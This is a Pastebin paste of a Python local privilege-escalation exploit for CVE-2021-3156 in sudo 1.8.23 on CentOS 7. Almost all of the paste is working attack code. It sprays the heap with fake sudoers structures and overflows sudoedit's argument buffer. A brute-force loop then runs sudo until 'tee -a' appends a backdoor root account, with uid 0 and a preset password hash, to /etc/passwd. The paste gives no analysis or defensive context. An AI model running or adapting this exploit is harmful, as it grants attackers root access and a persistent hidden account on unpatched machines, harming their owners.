Advertisement
lemurtube

Untitled

Mar 15th, 2022
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.08 KB | None | 0 0
  1. #!/usr/bin/python
  2. '''
  3. Exploit for CVE-2021-3156 on CentOS 7 by sleepya
  4.  
  5. Simplified version of exploit_userspec.py for easy understanding.
  6. - Remove all checking code
  7. - Fixed all offset (no auto finding)
  8.  
  9. Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration
  10.  
  11. Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
  12. '''
  13. import os
  14. import sys
  15. import resource
  16. from struct import pack
  17. from ctypes import cdll, c_char_p, POINTER
  18.  
  19. SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
  20.  
  21. PASSWD_PATH = '/etc/passwd'
  22. APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
  23.  
  24. STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
  25. #STACK_ADDR_PAGE = 0x7fffe5d35000
  26.  
  27. libc = cdll.LoadLibrary("libc.so.6")
  28. libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
  29.  
  30. def execve(filename, cargv, cenvp):
  31. libc.execve(filename, cargv, cenvp)
  32.  
  33. def spawn_raw(filename, cargv, cenvp):
  34. pid = os.fork()
  35. if pid:
  36. # parent
  37. _, exit_code = os.waitpid(pid, 0)
  38. return exit_code
  39. else:
  40. # child
  41. execve(filename, cargv, cenvp)
  42. exit(0)
  43.  
  44. def spawn(filename, argv, envp):
  45. cargv = (c_char_p * len(argv))(*argv)
  46. cenvp = (c_char_p * len(env))(*env)
  47. return spawn_raw(filename, cargv, cenvp)
  48.  
  49.  
  50. resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
  51.  
  52. # expect large hole for cmnd size is correct
  53. TARGET_CMND_SIZE = 0x1b50
  54.  
  55. argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
  56.  
  57. SA = STACK_ADDR_PAGE
  58.  
  59. ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
  60.  
  61. ADDR_PRIV_PREV = pack('<Q', SA+0x10)
  62. ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
  63. ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
  64.  
  65. ADDR_DEF_VAR = pack('<Q', SA+0x10)
  66. ADDR_DEF_BINDING = pack('<Q', SA+0x30)
  67.  
  68. OFFSET = 0x30 + 0x20
  69. ADDR_USER = pack('<Q', SA+OFFSET)
  70. ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
  71. ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
  72. ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
  73.  
  74. # for spraying
  75. epage = [
  76. 'A'*0x8 + # to not ending with 0x00
  77.  
  78. # fake def->var chunk (get freed)
  79. '\x21', '', '', '', '', '', '',
  80. ADDR_PRIV[:6], '', # pointer to privilege
  81. ADDR_CMND[:6], '', # pointer to cmndspec
  82. ADDR_MEMBER[:6], '', # pointer to member
  83.  
  84. # fake def->binding (list head) (get freed)
  85. '\x21', '', '', '', '', '', '',
  86. '', '', '', '', '', '', '', '', # members.first
  87. 'A'*0x10 + # members.last, pad
  88.  
  89. # userspec chunk (get freed)
  90. '\x41', '', '', '', '', '', '', # chunk metadata
  91. '', '', '', '', '', '', '', '', # entries.tqe_next
  92. 'A'*8 + # entries.tqe_prev
  93. '', '', '', '', '', '', '', '', # users.tqh_first
  94. ADDR_MEMBER[:6]+'', '', # users.tqh_last
  95. '', '', '', '', '', '', '', '', # privileges.tqh_first
  96. ADDR_PRIV[:6]+'', '', # privileges.tqh_last
  97. '', '', '', '', '', '', '', '', # comments.stqh_first
  98.  
  99. # member chunk
  100. '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
  101. 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
  102. ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
  103. 'A'*8 + # member.name (can be any because this object is not freed)
  104. pack('<H', 284), '', # type, negated
  105. 'A'*0xc+ # padding
  106.  
  107. # cmndspec chunk
  108. '\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
  109. 'A'*0x8 + # entries.tqe_next
  110. ADDR_CMND_PREV[:6], '', # entries.teq_prev
  111. '', '', '', '', '', '', '', '', # runasuserlist
  112. '', '', '', '', '', '', '', '', # runasgrouplist
  113. ADDR_MEMBER[:6], '', # cmnd
  114. '\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
  115. '', '', '', '', '', '', '', '', # role
  116. '', '', '', '', '', '', '', '', # type
  117. 'A'*8 + # padding
  118.  
  119. # privileges chunk
  120. '\x51'*0x8 + # chunk metadata
  121. 'A'*0x8 + # entries.tqe_next
  122. ADDR_PRIV_PREV[:6], '', # entries.teq_prev
  123. 'A'*8 + # ldap_role
  124. 'A'*8 + # hostlist.tqh_first
  125. ADDR_MEMBER[:6], '', # hostlist.teq_last
  126. 'A'*8 + # cmndlist.tqh_first
  127. ADDR_CMND[:6], '', # cmndlist.teq_last
  128. ]
  129.  
  130. cnt = sum(map(len, epage))
  131. padlen = 4096 - cnt - len(epage)
  132. epage.append('P'*(padlen-1))
  133.  
  134. env = [
  135. "A"*(7+0x4010 + 0x110) + # overwrite until first defaults
  136. "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
  137. "A"*0x18 +
  138. # defaults
  139. "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
  140. "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
  141. 'a'*8 + # prev
  142. ADDR_DEF_VAR[:6]+'\\', '\\', # var
  143. "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
  144. ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
  145. ADDR_REFSTR[:6]+'\\', '\\', # file
  146. "Z"*0x8 + # type, op, error, lineno
  147. "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
  148. 'C'*0x638+ # need prev_inuse and overwrite until userspec
  149. 'B'*0x1b0+
  150. # userspec chunk
  151. # this chunk is not used because list is traversed with curr->prev->prev->next
  152. "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
  153. ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
  154. "A"*8 + # entries.tqe_prev
  155. "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
  156. ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
  157. "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
  158.  
  159. "LC_ALL=C",
  160. "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
  161. "TZ=:",
  162. ]
  163.  
  164. ENV_STACK_SIZE_MB = 4
  165. for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
  166. env.extend(epage)
  167.  
  168. # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
  169. env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
  170.  
  171. env.append(None)
  172.  
  173. cargv = (c_char_p * len(argv))(*argv)
  174. cenvp = (c_char_p * len(env))(*env)
  175.  
  176. # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
  177. r, w = os.pipe()
  178. os.dup2(r, 0)
  179. w = os.fdopen(w, 'w')
  180. w.write(APPEND_CONTENT)
  181. w.close()
  182.  
  183. null_fd = os.open('/dev/null', os.O_RDWR)
  184. os.dup2(null_fd, 2)
  185.  
  186. for i in range(8192):
  187. sys.stdout.write('%d\r' % i)
  188. if i % 8 == 0:
  189. sys.stdout.flush()
  190. exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
  191. if exit_code == 0:
  192. print("success at %d" % i)
  193. break
  194.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement